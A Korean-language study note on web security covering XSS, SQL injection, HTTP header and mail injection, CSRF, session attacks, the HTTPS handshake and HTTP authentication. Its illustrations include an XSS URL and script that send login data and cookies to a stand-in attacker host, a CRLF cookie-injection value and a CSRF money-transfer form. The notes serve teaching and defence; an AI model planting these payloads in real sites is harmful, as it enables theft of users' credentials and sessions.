보안 학습공간
최신업데이트 일자 : 2015. 08. 30
추가할 내용 : Salt, RSA, OAuth, HMAC, Form-based-Authentication 추가사항, Rest API 보안종류, 암호화 알고리즘, 디피힐만 키교환 알고리즘, 공인인증서 동작과정
근래에는 HTTPS가 의무화되면서 많은 곳에서 사용하고 있지만
기술적으로도 보안을 위한 가장 표준적이고 쉬운방법으로 인식되고 있다.
스터디 프로젝트를 진행하던 중,
HTTP 환경에서의 보안이슈에 대해 고민할 기회가 생겼고,
개념정리를 겸해서 네트워크 암호화 기술에 대한 기록을 정리한다
보안스터디 (NEXT. 2014. 04)
- FailToban : dos, ddos 공격을 막기 위한 서버용 소프트웨어
- Jmeter, Gatling : 서버 부하테스트 도구
- robot.txt 와 meta tag를 이용한 검색노출 제한
웹 공격기술
- 배경
- HTTP에는 보안 기능이 없다
- SSH와 같은 프로토콜은 프로토콜 레벨에서 인증이나 세션관리의 기능이 준비되어 있다
- HTTP는 개발자가 설계하고 구현할 필요가 있다
- 제각각이 설계하다보니 각기 다르게 구현되고 보안등급이 충분치 못하게 된다
- Request는 클라이언트에서 변조가 가능하다
- 웹 어플리케이션이 브라우저로부터 수신한 HTTP 리퀘스트의 내용은 모든 클라이언트에서 자유롭게 변경/변조할 수 있다
- 웹 어플리케이션에 대한 공격은 HTTP 리퀘스크 메시지에 공격코드를 실어서 실행된다. 쿼리나 폼, HTTP 헤더, 쿠키 등을 경유해서 보내져 웹 애플리케이션에 취약성이 있을 경우에는 정보를 도둑맞거나 권한을 빼앗기는 일이 발생한다
- HTTP에는 보안 기능이 없다
- 공격대상
- HTTP를 사용하는 서버, 클라이언트
- 서버 상에서 동작하는 웹 애플리케이션 등의 리소스
- 공격패턴
- 능동적 공격
- 서버를 노리는 능동적 공격
- 공격자가 직접 웹 애플리케이션에 액세스해서 공격 코드를 보내는 타입의 방식
- 서버 상의 리소스에 대해 직접 실행되기 때문에 공격자가 리소스에 액세스할 필요가 있다
- 종류 : SQL Injection, OS Command Injection 등
- 수동적 공격
- 유저를 노리는 수동적 공격
- 함정을 이용해서 유저에게 공격코드를 실행시키는 방식
- 공격자가 직접 웹 애플리케이션에 액세스해서 공격하지 않는다
- 수동적 공격을 이용하면 인트라넷 같은 인터넷에서 직접 액세스할 수 없는 네트워크를 공격할 수 있다
- 일반적인 순서
- 공격자가 설치한 함정에 유저를 유도한다
- 함정에는 공격 코드를 심어둔 HTTP Request를 발생시키기 위한 장치가 준비되어 있다
- 사용자가 함정에 걸리면 유저의 브라우저나 메일 클라이언트에서 함정을 열게 된다
- 함정에 걸리면 유저의 브라우저가 장착된 공격코드를 포함한 HTTP Request를 공격 대상인 웹 애플리케이션에 송신하고 공격코드를 실행한다
- 공격코드를 실행하면 취약성이 있는 웹 애플리케이션을 경유한 결과로서 유저가 가지고 있는 쿠키 등의 기밀정보를 도둑맞거나 로그인 중인 유저의 권한이 악동되는 피해가 발생한다.
- 종류 : 크로스 사이트 스크립팅(XSS; Cross-site-Scripting), 크로스 사이트 리퀘스트 포저리 CSRF; Cross Site Request Forgery) 등
- 능동적 공격
- 대표적인 공격 방법 1-1_출력 값의 이스케이프 미비로 인한 취약성 개괄 (참고)
웹 애플리케이션의 보안 대책을 실시하는 장소를 크게 나누면 다음과 같다
1.클라이언트에서 체크
클라이언트 측에서의 체크는 대부분 Javascript를 사용한다
변조되었거나 무효화될 가능성이 있기 때문에 근본적인 보안 대책으로는 적합하지 않다
클라이언트 측의 체크는 입력 실수를 바로 지적해주는 UI향상을 위한 정도로 사용한다
2.웹 애플리케이션(서버측)에서 체크
2-1.입력값 체크
웹 애플리케이션 내에서 처리할 때에 공격코드로서 의미를 갖는 것도 있기 때문에 근본적인 보안 대책으로는 적합하지 않다.
시스템 요건대로 된 값인지 아닌지에 대한 체크나 문자 코드의 체크 등을 실시한다
2-2.출력값 체크
웹 애플리케이션에서 처리한 데이터를 데이터베이스나 파일 시스템, HTML, 메일 등에 출력할 때 출력하는 곳에 따라 값을 이스케이프 처리하는 것이 중요하다
출력 값의 이스케이프가 미비할 경우 공격자가 보낸 공격코드가 출력하는 대상에 피해를 입힐 수 있다
-
대표적인 공격 방법 1-2_출력 값의 이스케이프 미비로 인한 취약성 분류
- 크로스 사이트 스크립팅 (XSSl Cross-Site Scripting)
- 취약성이 있는 웹사이트를 방문한 사용자의 브라우저에서 부정한 HTML 태그나 Javascript 등을 동작시키는 공격이다. 동적으로 HTML을 생성하는 부분에서 취약성이 발생할 수 있다. 이는 공격자가 작성한 스크립트가 함정이 되고 유저의 브라우저 상에서 움직이는 수동적 공격이다
- 영향
- 가짜 입력 폼 등에 의해 유저의 개인정보를 도둑맞는다
- 스크립트에 의해 유저의 쿠키 값이 도둑맞거나 피해자가 의도하지 않는 리퀘스트가 송신된다
- 가짜 문장이나 이미지 등이 표시된다
- 공격사례
- 발생 장소는 동적으로 HTML을 생성하는 곳이다. 프로필 편집 기능을 예로 들 수 있다
- 사용자가 입력한 내용이 그대로 다시 표시될 경우, 태그와 같은 영역을 입력값에 포함한다면 그 결과 데이터는 태그나 스크립트가 실행될 수 있다.
- http://test.kr/login?ID=yoon
- 로그인창에 ID 파라미터에 대한 데이터를 넣어주는 형태로 구현되어있을 경우
- XSS는 수동적 공격이기 때문에 공격자는 다음과 같은 메일이나 함정을 작성한 후 유저가 URL을 클릭하도록 유도한다.
http://test.kr/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.kr/pwget";+f.method=get;</script>
- URL을 열어도 보기에는 변함이 없지만 설치한 스크립트가 동작하고 있어 유저가 폼에 ID와 패스워드를 입력하면 공격자의 사이트인 hackr.kr로 입력데이터가 송신된다.
- js파일을 호출하여 유저의 쿠키를 크로스 사이트 스크립팅으로 빼앗을 수 있다
var content = escape(document.cookie)
document.write("<img src=http://hackr.kr/?
);document.write(content);
document.write(">");
- 발생 장소는 동적으로 HTML을 생성하는 곳이다. 프로필 편집 기능을 예로 들 수 있다
- SQL Injection
- 웹 애플리케이션을 이용하고 있는 데이터베이스에 SQL을 부정하게 실행하는 공격이다.
- 커다란 위협을 일으킬 수 있는 취약성으로 개인정보나 기밀정보 누설로 직결되기도 한다
- 만약에 SQL 호출 방법에 Validation 기능이 없으면 (Java의 Statement) 의도하지 않은 SQL문이 Inject되어 실행되는 경우가 있다
- 영향
- 데이터베이스 내의 데이터 부정 열람이나 변조
- 인증 회피
- 데이터베이스 서버를 경유한 프로그램 실행 등
- OS Command Injection
- 웹 애플리케이션을 경유하여 OS 명령을 부정하게 실행하는 공격
- 쉘을 호출하는 함수가 있는 곳에서 발생할 가능성이 있다
- HTTP Header Injection
- 공격자가 Response Header 필드에 개행 문자 등을 삽입함으로써 임의의 Response Header Field나 Body를 추가하는 수동적 공격이다.
- 특히 Body를 추가하는 공격을 HTTP Response Splitting Attack이라고 부른다
- 영향
- 임의의 쿠키를 설정
- 임의의 URL에 리다이렉트
- 임의의 Body 표시 (Http Response Splitting Attack)
- 예시
- Html Selector에 카테고리를 변경할 때마다 지정된 id값을 이용해 redirect 시키는 기능이 있다
- 카테고리를 선택하면 Response에
Location:주소/?category=101
와 같이 Location 헤더 필드 내에 그 값이 반영되어 리다이렉트 된다 - 공격자는 카테고리 ID를 다음과 같이 고쳐서 Request를 보낸다
101%0D%0ASet-Cookie:+SID=123456789
- 이때 Set-Cookie 헤더필드가 유효하기 때문에 공격자가 지정한 임의의 쿠키가 세팅되어 버린다. 이것은 Session Fixation이라는 공격자가 지정한 세션 ID를 사용하게 하는 공격으로서 유저로 위장할 가능성이 있다
- 공격자가 입력한
%0D%0A
는 원래 Location헤더필드의 쿼리 값이 되어야 하지만 개행문자로 해석되어 버려 새로운 헤더필드가 추가되는 결과를 초래한다. 이로 인해 공격자는 임의의 헤더필드를 Response에 삽입할 수 있다.
- HTTP Response Splitting Attack
- 앞서 기술된 공격자 입력값을 2개로 하여 개행문자를 두개 보낸다. HTTP 바디를 나누는 행을 만들어 내게 되니, Http Body 만들어낼 수 있다.
- 함정에 빠진 유저의 브라우저에 가짜 웹 페이지를 표시해서 개인정보를 입력하게 하거나 XSS와 같은 효과를 얻을 수 있다
- HTTP/1.1의 복수 Response를 모아서 돌려보내는 기능을 악용해 캐시서버 등에 임의의 콘텐츠를 캐시하는 것도 가능하다. 이 공격을 캐시 오염이라고 부르기도 한다
- Mail Header Injection
- 웹 애플리케이션의 메일 송신 기능에 공격자가 임의의 To 및 Subject 등의 메일 헤더를 부정하게 추가하는 공격이다. 취약성이 있는 웹 사이트를 이용해서 스팸 메일이나 바이러스 메일 등을 임의의 주소에 송신할 수 있다
- 문의하기와 같은 메일서비스를 제공하는 웹 어플리케이션 서비스에 공격자는 메일 주소로 계행을 나타내는 특수문자로 여러 메일을 추가하여 메일의 헤더 필드를 다시 쓰거나 본문에 첨부파일을 추가하는 것도 가능하다
- 디렉토리 접근 공격 (Directory Traversal Attack)
- 웹 애플리케이션 파일을 조작하는 처리에서 파일이름을 외부에서 지정하는 처리가 취약할 경우 유저는
../
등의 상대경로를 지정하거나/etc/passwd
등의 절대 경로를 지정함으로써 임의의 파일이나 디렉토리에 액세스할 수 있다. - 이로인해 웹 서버상의 파일이 잘못 열람되거나 변조, 삭제될 수 있다
- 임의의 파일이름을 지정할 수 없도록 해야 한다
- 웹 애플리케이션 파일을 조작하는 처리에서 파일이름을 외부에서 지정하는 처리가 취약할 경우 유저는
- 리모트 파일 인클루션 (Remote File Inclusion)
- 스크립트의 일부를 다른 파일에서 읽어올 때 공격자가 지정한 외부 서버의 URL을 파일에서 읽게 함으로써 임의의 스크립트를 동작시키는 공격이다
- 크로스 사이트 스크립팅 (XSSl Cross-Site Scripting)
- 대표적인 공격 방법 2_웹 서버의 설정이나 설계 미비로 인한 취약성
- 강제 브라우징
- 웹 서버의 공개 디렉토리에 있는 파일 중에서 공개 의도가 없는 파일이 열람되게 되는 취약성
- 예시
- 본문은 권한이 없어서 확인하지 못해도, 이미지는 URL을 통해 확인이 가능
- 영향
- 고객 정보 등 중요정보 유출
- 액세스 권한이 있는 사용자에게만 표시되는 정보 유출
- 어디에서도 링크되지 않은 파일 유출
- 부적절한 에러 메시지 처리
- 애플리케이션 에러 메시지를 통한 시스템 취약성을 노출
- 상세한 에러 메세지는 공격자가 공격을 하기 위한 힌트가 될 수 있다
- 예시
- 웹 애플리케이션에 의한 에러 메세지
- 데이터베이스 등의 시스템에 의한 에러 메세지 (DB의 종류확인 가능)
메일주소가 등록되어 있지 않습니다
로 계정의 존재유무를 확인하는데 이용될 수 있다. 이는 부적절한 에러 메시지 처리의 취약성의 예시다
- 해결방법
- 각 시스템의 설정에 의한 상세한 에러 메세지를 제한
- 커스텀 에러 메세지를 이용
- 강제 브라우징
- 대표적인 공격 방법 3_세션 관리 미비로 인한 취약성
- Session Hijack
- 공격자가 유저의 세션 ID를 입수해서 악용하는 것으로, 유저로 위장하는 공격이다
- 예방방법
- 주요데이터 변경등의 행위요청시 유저에서 인증절차를 다시한번 하게끔 한다
- Session Fixation
- 공격자가 지정한 세션 ID를 유저에게 강제적으로 사용하게 하는 공격 (수동적 공격)
- 예시
- 공격자가 로그인 페이지에 액세스해서 세션 ID를 발급받는다
- 함정 URL을 준비해두고 유저를 유도해서 인증하도록 한다 (유저의 세션을 공격자 세션으로 강제한다)
- 인증 후 공격자의 세션 ID의 상태가 유저인증 세션이 된다
- CSRF (Cross-Site Request Forgeries) 위키
- 인증된 유저가 의도하지 않는 개인정보나 설정정보 공격자의 의도대로 갱신하게끔 강제하는 공격 (수동적 공격)
- 영향
- 인증된 유저의 권한으로 설정 정보등을 갱신
- 인증된 유저의 권한으로 상품을 구입
- 인증된 유저의 권한으로 게시판에 글 작성
- 예시
- 은행 웹 사이트가 현재 로그인한 사용자가 다른 은행으로 돈을 보낼 수 있는 폼을 제공한다고 가정
- 은행 웹사이트에 인증을 하고나서 로그아웃하지 않고 다른 나쁜 웹사이트에 접속
<form action=”https://bank.kr/transfer” method=”post”>
<input type=”hidden” name=”amount” value=”100.00″/>
<input type=”hidden” name=”accountNumber” value=”공격자계좌번호”/>
<input type=”submit” value=”이벤트 참가’/></form>
- 피해자가 버튼을 누르는 순간 공격자의 계좌로 돈이 송금된다
- 해결방법
- Synchronizer token 패턴을 사용
- 클라이언트 응답에 대해 세션쿠키와 더불어 랜덤하게 생성되는 토큰을 HTTP 파라매터로 제공
- 모든 클라이언트의 요청에 대해 토큰값과 서버에서 발급했던 토큰값을 비교한다
- Referer Header를 통한 이전 페이지 확인
- Origin Header를 통한 요청페이지 확인
- Challenge-Response
- CAPTCHA
- Re-Authentication (password)
- One-time Token
- Synchronizer token 패턴을 사용
- Session Hijack
HTTP의 한계
HTTP 뿐만 아니라 암호하하지 않은 다른 프로토콜에서도 공통되는 문제점
- 평문(암호화 하지 않은) 통신이기 때문에 도청이 가능하다
- TCP/IP는 도청 가능한 네트워크 (패킷 캡처[Wireshark]나 스니퍼 도구)
- 암호화된 통신에서도 패킷열람은 가능하다. 구조상 어쩔수 없는 문제
- 암호화로 도청을 피할 수 있다
- 통신 암호화 : HTTP에는 암호화 구조는 없지만 SSL이나 TLS라는 다른 프로토콜을 조합함으로서 안전한 통신로를 만들고 나서 HTTP 통신을 한다
- 콘텐츠 암호화 : 통신하고 있는 콘텐츠의 내용 자체(메세지 바디)를 암호화 해 버린다
- TCP/IP는 도청 가능한 네트워크 (패킷 캡처[Wireshark]나 스니퍼 도구)
- 통신상대를 확인하지 않기 때문에 위장이 가능하다
- Request를 보낸 서버가 정말로 URI에서 지정한 host인지, Response를 반환한 Client가 리퀘스트를 출력한 클라이언트인지 아닌지를 모른다
- Request를 보낸 웹서버가 위장한 웹 서버일 우려가 있다
- Response를 보낸 클라이언트가 위장한 클라이언트일 우려가 있다
- 의미없는 Request라도 수신하게 된다 (Dos 공격을 방지할 수 없다)
- 해결방안 : 상대를 확인하는 증명서를 활용한다
- SSL을 이용하면 상대를 확인할 수 있다.
- SSL은 암호화뿐만 아니라 상대를 확인하는 수단으로 증명서를 제공하고 있다
- 증명서는 신뢰할 수 있는 제3자 기관에 의해 발행되는 것이기 때문에 서버나 클라이언트가 실재하는 사실을 증명한다
- 증명서를 위조하는 것은 기술적으로 불가능에 가깝다. 통신 상대의 서버나 클라이언트가 가진 증명서를 확인함으로써 통신 상대가 내가 통신하고자 하는 상대인지 판단할 수 있다
- 클라이언트는 통신을 개시할때 서버의 증명서를 확인한다 (신뢰할 수 있는 제 3자를 통해 확인)
- Request를 보낸 서버가 정말로 URI에서 지정한 host인지, Response를 반환한 Client가 리퀘스트를 출력한 클라이언트인지 아닌지를 모른다
- 완전성을 증명할 수 없기 때문에 변조가 가능하다
- 완전성이란 정보의 정확성을 가리킨다. 그것을 증명할 수 없다는 것은 정보변조 유무를 파악할 수 없다는 것이다
- 이와 같이 공격자가 도중에 Request, Response를 빼앗아 변조하는 공격을 중간자 공격 (Middle-in-the-Middle Attack)이라고 부른다
- 변조를 방지하려면? : 확실하면서 편리한 방법은 현재로서 존재하지 않는다
- MD5나 SHA-1 등의 해시 값을 확인하는 방법
- 파일의 디지털 서명을 확인하는 방법
- 결국 HTTP + 암호화 + 인증 + 완전성 보호 = HTTPS 를 사용해야 한다
특정 웹서버나 특정 웹 클라이언트의 구현상의 약점(취약점 또는 Security Hole이라고 한다)
HTTPS
- HTTPS = HTTP + SSL
- HTTPS는 새로운 Application Layer의 프로토콜이 아니다.
- HTTP 통신을 하는 인터페이스인 소켓 부분을 SSL(Secure Socket Layer)나 TLS(Transport Layer Security)라는 프로토콜로 대체하고 있는 것이다
- 보통 HTTP는 직접 TCP와 통신하지만 SSL을 사용한 경우에는 HTTP는 SSL과 통신하고, SSL이 TCP와 통신하게 된다.
- 비대칭키 + 대칭키를 사용하는 하이브리드 암호 시스템
- 비대칭키는 안전하지만, 속도가 느리다.
- 이런 단점을 해결하기 위해 최초 대칭키를 교환할때만 비대칭키를 사용.
- 데이터를 송수신할때는 안전하게 교환된 대칭키를 이용해서 통신
- 공개키가 정확한지 아닌지를 증명하는 증명서
- 비대칭키 방식의 공개키를 최초에 전송할때, 전송하는 주체와 전송받는 주체를 확인하는 수단
- 인증기관(CA;Certificate Authority)과 그 기관이 발행하는 공개키 증명서가 이용된다
- 서버 운영자가 인증기관에 공개키를 등록 (비용발생)
- 인증기관의 비밀키로 서버의 공개키를 디지털 서명. 공개키 증명서를 작성, 등록
- 사용자 요청에 대해 운영서버는 서버의 공개키 증명서(공개키+인증기관의 디지털 서명)를 전송
- 전송받은 공개키 증명서를 입수하고, 디지털 서명을 인증기관의 공개 키로 검증, 검증되면 안전한 공개키를 전송받았다고 확신할 수 있다 (인증기관의 공개키는 사전에 브라우저에 내장되어 있다)
- 서버의 공개키를 이용해서 통신
- 통신과정 (클라이언트 => 서버, 클라이언트 <= 서버)
- => HandShake: ClientHello
- 클라이언트가 메세지를 송신하면서 SSL 통신을 시작
- 메세지에는 클라이언트가 제공하는 SSL의 버전을 지정
- 암호 스위트(Cipher Suite)로 불리는 리스트(사용하는 암호화 알고리즘이나 키 사이즈 등) 등을 포함
- <= HandShake: ServerHello
- 서버가 SSL 통신이 가능한 경우에는 Server Hello 메시지로 응답한다
- 클라이언트와 같이 SSL 버전과 암호 스위트를 포함.
- 서버의 암호 스위트 내용은 클라이언트에서 받은 암호 스위트의 내용에서 선택된 것이다
- <= HandShake: Certificate
- 서버가 Certificate 메시지를 송신한다. 메시지에는 공개키 증명서가 포함되어 있다
- <= HandShake: ServerHelloDone
- 서버가 Server Hello Done 메시지를 송신하여 최초의 SSL Negotiation 부분이 끝났음을 통지
- => HandShake: ClientKeyExchange
- SSL의 최초 Negotiation이 종료되면 클라이언트가 Client Key Exchange 메시지로 응답
- 메시지에는 통신을 암호화하는데 사용하는 Pre-Master Secret이 포함되어 있다. (대칭키)
- 이 메시지는 공개키 증명서에서 꺼낸 공개키로 암호화되어 있다
- => ChangeCipherSpec
- 클라이언트는 Change Cipher Spec 메시지를 송신한다.
- 이 메세지는 이 후의 통신은 암호키를 사용해서 진행한다는 것을 나타내고 있다
- => HandShake: Finished
- 클라이언트는 Finished 메시지를 송신한다
- 이 메시지는 접속 전체의 체크 값을 포함하고 있다.
- Negotiation이 성공했는지 어떤지는 서버가 이 메시지를 올바르게 복호화할 수 있는지 아닌지가 결정된다
- <= ChangeCipherSpec
- 서버에서도 Change Cipher Spec 메시지를 송신한다
- <= HandShake: Finished
- 서버에서도 Finished 메시지를 송신한다
- => Application Data (HTTP)
- Application Layer의 프로토콜에 의한 통신
- <= Application Data (HTTP)
- => Alert: warning, close notify
- 마지막에 클라이언트가 접속을 끊는다
- 그 후에 TCP FIN 메시지를 보내 TCP 통신을 종료한다
- 이 흐름에 더해서 애플리케이션 계층의 데이터를 송신할 때에는 MAC(Message Authentication Code)라 부르는 Message Digest를 덧붙일 수도 있다. MAC을 이용해서 변조를 감지할 수 있어서 완전성 보호를 실현할 수 있다.
- => HandShake: ClientHello
- SSL의 성능
- HTTPS는 서버, 클라이언트 모두 암호화와 복호화 처리가 필요하므로 CPU나 메모리 등의 하드웨어 리소스를 소비한다
- HTTP 통신에 비해서 SSL 통신만큼 네트워크 리소스를 더 소비한다. 통신처리에 시간이 걸린다(HTTP에 비해 2~100배)
- SSL Accelater Hardware를 통해 이 문제를 해결하기도 한다.
- SSL을 처리하기 위한 전용 하드웨어로 소프트웨어로 SSL을 처리할 때보다 몇 배 빠른 계산을 할 수 있다
인증
흔히 애플리케이션에 접근할 때 권한을 얻기 위하여 사용자들이 로그인하는 것을 Authentication(인증)이라고 한다.
즉 로그인을 통해 사용자에게 권한을 할당하는 과정을 인증이라고 생각하면 된다.
HTTP/1.1에서 이용할 수 있는 인증 방식에는 다음과 같은 것이 있다
1.BASIC Authentication
2.DIGEST Authentication
3.SSL-Client Authentication
4.FORM-BASE Authentication
- BASIC Authentication
- HTTP/1.0에 구현된 인증방식으로 현재에도 일부 사용되고 있다
- 웹서버와 대응하고 있는 클라이언트 사이에서 이루어지는 인증방식이다
- 과정 (Client => Server, Client <= Server)
- => Request 송신
- <= 상태코드 401로 응답해서 인증이 필요하다는 것을 전달
- 인증이 필요한 리소스에 리퀘스트가 있을 경우에는 서버는 상태코드 401과 함께 인증의 방식과(BASIC) Request-URI의 보호공간을 식별하기 위한 문자열(realm)을 WWW-Authenticate 헤더필드에 포함해서 Response를
HTTP/1.1 401 Authorization Required
WWW-Authenticate: Basic realm="input your id and password"
- => 유저 ID와 PASSWORD를 Base64 형식으로 인코드한 것을 송신
- 상태코드 401을 받은 클라이언트는 Basic 인증을 위해서 유저 ID와 PASSWORD를 서버에 송신할 필요가 있다
- 송신하는 문자열은 유저 ID와 PASSWORD를 콜론 “:”으로 연결한 문장을 Base64 형식으로 인코드한다
- 예를들어 아이디가 “usm” 패스워드가 “pass”인 경우 “usm:pass”와 같이 문자열이 된다
GET / HTTP1.1
Authorization: Basic '인코딩된문자열'
- <= 인증 성공시에는 상태코드 200으로 응답하고, 실패했을 경우에는 다시 상태코드 401로 응답
- Basic 인증에서는 Base64 인코딩형식을 사용하고 있지만 이것은 암호화는 아니기 때문에 아무런 부가정보 없이도 복화하 할 수 있다. 즉, HTTPS 등에서 암호화되지 않은 통신 경로상에서 BASIC 인증을 해서 도청된 경우에는 복호화된 유저정보를 빼앗길 가능성이 있다
- BASIC 인증은 일반브라우저에서는 로그아웃할 수 없다는 문제도 있다.
- 사용상의 문제와 많은 웹 사이트에서 요구되는 보안등급에는 미치지 못한다는 면에서 그다지 사용되고 있지는 않다
- DIGEST Authentication
- BASIC Authentication의 약점을 보안하며 HTTP/1.1에 소개되어 있다.
- DIGEST 인증에는 Challenge Response 방식이 사용되고 있어서 BASIC 인증과 같이 패스워드를 있는 그대로 직접 보내는 일은 없다
- Challenge Response 방식은 최초에 상대방에게 인증요구를 보내고 상대방 측에서 받은 Challenge Code를 사용해서 Response 코드를 계산한다. 이 값을 상대에게 송신하여 인증을 하는 방법이다
- Response Code라는 패스워드와 Challenge 코드를 이용해서 계산한 결과를 상대에게 보내기 때문에 BASIC Authentication과 같은 방식에 비하면 패스워드가 누출될 가능성이 줄어든다
- 과정 (Client => Server, Client <= Server)
- => Request 송신
- <= 상태코드 401로 응답하는것과 함께 PASSWORD와 Challenge Code(nonce)를 송신
- 인증이 필요한 Resoure에 Request가 있을 경우에 서버는 상태코드 401 반환
- 상태코드와 함께 Challenge Code(nonce)를 WWW-Authenticate 헤더필드에 포함해서 반환
- WWW-Authenticate 헤더필드에 반드시 포함되어야 하는 정보는 “realm”와 “nonce” 두개이다
- 클라이언트가 이 값을 서버에 보내는것으로 인증한다
- nonce는 401 Response를 반환할 때마다 생성되는 유일한 문자열이다. 이 문자열은 Base64이거나 16진수가 권장되고 있다. 문자열의 내용에 관해서는 구현된 서버에 의존한다
HTTP/1.1 401 Authorization Request
WWW-Authenticate: Digest realm='문자', nonce='문자열', uri='', algorithm=MD5, qop='auth'
- => 인증 성공시에는 상태코드 200으로 응답하고 실패했을 경우에는 다시 상태코드 401 응답
- 인증정보가 정확한 경우에는 Request-URI의 Resource를 포함한 Response를 반환한다
- 이 때 서버는 Authentication-Info 헤더필드에 성공한 인증에 대한 몇가지 정보를 추가할 때도 있다
- DIGEST Authentication은 BASIC Authentication에 비해서 높은 보안 등급을 제공하고 있지만, HTTPS의 클라이언트 인증 등과 비교하면 낮다. DIGEST Authentication에서는 PASSWORD의 도청을 방지하기 위한 보호기능은 제공하고 있지만 이외에 위장을 방지하는 기능은 제공하고 있지 않다.
- DIGEST Authentication도 BASIC 인증과 마찬가지로 사용상의 문제와 많은 웹사이트에서 요구되는 보안 등급에는 미치지 못한다는 점에서 그다지 사용되고 있지 않다.
- SSL-Client Authentication (공인인증서 방식)
- 유저 ID와 PASSWORD를 도난당했을 때에는 제 3자가 “위장”을 하는 경우가 있다.
- 이를 방지하기 위한 대책 중의 하나로 SSL-Client Authentication이 사용되기도 한다
- 클라이언트 증명서를 인증할 때에 사용하는 방식으로 사전에 등록된 클라이언트에서의 액세스인지 아닌지를 확인할 수 있다
- 과정
- 인증이 필요한 Resource의 Request가 있었을 경우에 서버는 클라이언트에게 클라이언트 증명서를 요구하는 “Certificate Request”라는 메세지를 송신한다
- 유저는 송신하는 클라이언트 증명서를 선택한다. 그리고 클라이언트는 클라이언트 증명서를 “Client Certificate”라는 메시지를 송신한다
- 서버는 클라이언트 증명서를 검증하여 검증 결과가 정확하다면 클라이언트의 공개키를 취득한다. 그 이후에 HTTPS에 의한 암호를 개시한다
- SSL-Client Authentication은 2-factor 인증에서 사용된다
- 단독으로 사용되지는 않고, Form-based Authentication과 합쳐서 사용된다
- 2-factor 인증이란 패스워드와 같이 한 개의 요소만이 아닌 이용자가 가진 다른 정보를 병용한다는 뜻이다. 즉 SSL 클라이언트와 유저의 본인확인을 통해 본인이 올바른 컴퓨터에서 액세스하고 있음을 확인할 수 있다
- 클라이언트 증명서를 이용하기 위해서는 비용이 필요하다.
- FORM-BASED Authentication
- HTTP Protocol로서 사양이 정의되어 있는 인증방식은 아니다.
- 클라이언트가 서버 상의 웹 어플리케이션에 자격정보(Credential)를 송신하여 그 자격정보의 검증결과에 따라 인증을 하는 방식이다.
- 웹 어플리케이션에 따라 제공되는 인터페이스나 인증의 방법이 다양하다
- HTTP가 표준으로 제공하는 BASIC, DIGEST 인증은 사용상, 보안적 문제로 거의 사용되지 않는다. 그러나 웹 사이트의 인증기능으로서 요구되는 기능의 레벨을 충족시킨 표준적인 것이 존재하지 않기 때문에 웹 어플리케이션에서 제각각 구현하는 FORM-BASED 인증을 채용하는 수밖에 없다
- 대부분 세션 관리와 쿠키에 의한 구현에 의존한다
- 세션ID가 제3자에 의해 악용되지 않도록 도난, 유추가 어렵도록 해야 한다
- 세션 ID는 추측하기 어려운 문자열을 사용
- 서버측에서는 유효기한을 관리한다
- 크로스 사이트 스크립팅 등의 취약성이 존재한 경우라도 피해를 줄이기 위해서 쿠키에는 httpOnly 속성을 부여해 둔다
- httponly는 클라이언트측 스크립트를 사용하여 쿠키에 액세스할 수 있는지 여부를 지정하는 값이다
- 세션ID가 제3자에 의해 악용되지 않도록 도난, 유추가 어렵도록 해야 한다
- 자격정보(Credential)를 교환하는 방법은 표준화되어 있지 않을 뿐 아니라, 패스워드 등의 자격정보를 서버 측에 어떻게 보존해야 하는지도 표준화되어 있지 않다
- 일반적으로 안전한 방법으로서 패스워드를 salt 부가 정보를 사용해서 해시 알고리즘으로 계산한 값을 저장하지만, 평문의 패스워드를 서버에 그대로 보존하고 있는 것도 자주 눈에 띈다. 이러한 곳에서는 패스워드가 노출될 위험이 있다
HMAC 사전지식
-
들어가기에 앞서
-
Hashing : 키에서 주소로의 변환(key-to-address transformation)을 의미한다. 다른 검색 방법처럼 키값을 비교하면서 찾는 것이 아니라, 키값에 어떤 연산을 시행하여 이 키값이 있는 기억장소의 주소로 바로 접근하는 방법으로 직접 파일 구성에 이용된다. 해싱은 각 레코드의 키값을 비교해서 찾는 번거로움이 없고, 다른 검색방법보다 기억장소를 차지하지만 원하는 레코드를 단 한번의 접근으로 찾을 수 있는 장점이 있다. 그러나 모든 레코드의 키값을 수치 형태로 바꾸어야 하며, 적절한 해싱함수를 구해야 할 뿐만 아니라 계산된 주소의 충돌(collision) 문제를 해결해야 한다 (출처 : 네이버 지식사전)
-
Hash Algoritm : 하나의 문자열을 보다 빨리 찾을 수 있도록 주소에 직접 접근할 수 잇는 짧은 길이의 값이나 키로 변환하는 알고리듬. 해시 알고리듬을 함수로 표현한 것이 해시 함수이다 (출처 : 네이버 지식사전)
-
Hash Function : 하나의 문자열을 보다 빨리 찾을 수 있도록 주소에 직접 접근할 수 있는 짧은 길이의 값이나 키로 변환하는 알고리듬을 수식으로 표현한 것. 즉 해싱함수 h(k)는 어떤 키 k에 대한 테이블 주소를 계산하기 위한 방법으로 주어진 키 값으로부터 레코드가 저장되어 있는 주소를 산출해 낼 수 있는 수식을 말한다. 문자열을 찾을 때 문자를 하나하나 비교하며 찾는 것보다 문자열에서 해시 키를 계산하고 그 키에 해당하는 장소에 문자열을 저장해 둔다면, 찾을 때는 한 번의 계산만으로도 쉽게 찾을 수 있게 된다.
-
해시 함수 또는 해시 알고리즘은 임의의 데이터로부터 일종의 짧은 “전자 지문”을 만들어 내는 방법이다. 해시 함수는 데이터를 자르고 치환하거나 위치를 바꾸는 등의 방법을 사용해 결과를 만들어 내며, 이 결과를 흔히 해시 값(hash value)라고 한다. 해시 함수는 결정론적으로 작동해야 하며, 따라서 두 해시 값이 다르다면 그 해시 값에 대한 원래 데이터도 달라야 한다. (역은 성립하지 않는다) 해시 함수의 질은 모든 입력 대상에 대해 얼마나 적은 해시충돌을 일으키냐로 결정되는데, 충돌이 많이 날 수록 서로 다른 데이터를 구별하기 어려워지고 데이터를 검색하는 비용이 늘기 때문이다. (출처 : ohgyun.com)
- 해시의 장점
- 짧고, 고정길이이다
- 중복을 방지할 수 있다
- 메세지 구조를 숨길 수 있다
- 특징 (출처 : MIT Presentation)
- 충돌 저항성 (Collision resistance) : 같은 해시 값을 생성하는 두 개의 입력값을 찾는 것이 거의 계산상 불가능하다.
- 일방향 함수 (One-way) : 해시 값으로 메세지를 추측하기 불가능하다
- 추측불가 (Unpredictability) : 두개의 값으로 변경하는 경우, 나머지 하나를 알더라도 해시 값을 추측할 수 없다
- 추출 (Extraction) : 메세지의 길이가 달라도 고정 길이를 리턴한다
- MAC (출처 : Naver Blog)
- Message Authentication Code, 인증된 메세지코드라는 의미
- 이것이 필요한 이유는 해당 메세지의 intergrity와 authentication을 보장하기 위함이다.
- intergrity : message가 변경되지 않았음을 의미
- authentication : 올바른 송신자로부터 왔다는 것을 의미
